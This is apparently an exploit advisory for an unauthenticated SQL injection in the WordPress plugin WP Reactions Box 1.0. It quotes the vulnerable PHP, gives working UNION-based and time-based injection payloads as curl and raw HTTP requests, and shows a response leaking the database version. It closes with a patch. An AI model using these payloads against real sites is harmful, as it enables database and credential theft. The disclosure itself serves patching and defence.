# Exploit Title: WordPress WP Reactions Box Plugin 1.0 - SQL Injection
# Google Dork: N/A
# Date: 2025-08-24
# Exploit Author: bRpsd cy[at]live.no
# Vendor Homepage: https://wordpress.org/plugins/wp-reactions-box/
# Software Link: https://downloads.wordpress.org/plugin/wp-reactions-box.zip
# Version: <= 1.0
# Tested on: WordPress 6.x
# CVE: N/A
Vulnerability: Unauthenticated SQL Injection in AJAX Handler
CVSS: 9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Affected File: wp-reactions.php:779-625 (vulnerable query in hkp_reactions_votes function, called from hkp_reactions_ajax_populate)
Vulnerable Code:
=========================================================================================
776: function hkp_reactions_ajax_populate() {
777: global $wpdb;
779: $postID = $_POST['postID']; // No sanitization
780: $options = get_option( 'hkp_reactions_options' );
781: $reactionsMoods = hkp_reactions_box_moods( $options );
782: $reactionsObj = hkp_reactions_votes( $postID ); // Passes to vulnerable function
...
618: function hkp_reactions_votes( $postID = NULL ) {
620: global $wpdb;
625: $votes = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}hkp_reactions_posts WHERE ID=" . $postID );
=========================================================================================
Parameter: $_POST['postID']
For time-based blind SQLi (if no data returned): Use postID=1%20AND%20IF(1=1,SLEEP(5),0) and observe response delay.
CURL Proof of concept:
curl -X POST http://localhost/wordpress/wp-admin/admin-ajax.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=hkp_reactions_populate&postID=0%20UNION%20SELECT%200%20as%20ID,%40%40version%20as%20bummer,0%20as%20good,0%20as%20sad,0%20as%20lol,0%20as%20scary,0%20as%20shocked,0%20as%20boring,0%20as%20sweet,0%20as%20angry,0%20as%20nerdy,now()%20as%20time"
HTTP Proof of concept:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
action=hkp_reactions_populate&postID=0%20UNION%20SELECT%200%20as%20ID,%40%40version%20as%20bummer,0%20as%20good,0%20as%20sad,0%20as%20lol,0%20as%20scary,0%20as%20shocked,0%20as%20boring,0%20as%20sweet,0%20as%20angry,0%20as%20nerdy,now()%20as%20time
Both Response:
{"reactions":{"bummer":"10.4.21-MariaDB"
Impact:
Complete database compromise including:
Extraction of WordPress configuration (wp-config.php contents)
User credentials and password hashes
All website content and sensitive data
Potential for privilege escalation and remote code execution
Patch:
=======================================================================
function hkp_reactions_votes( $postID = NULL ) {
global $wpdb;
if ( !$postID ) {
global $post;
$postID = $post->ID;
}
$postID = intval($postID); // Sanitize input
$votes = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}hkp_reactions_posts WHERE ID = %d", $postID ) );
return $votes;
}
=======================================================================
Additionally, add a nonce check in hkp_reactions_ajax_populate() similar to the cast_vote endpoint: check_ajax_referer('hkp-wp-feelbox', 'token'); (require passing a token in POST).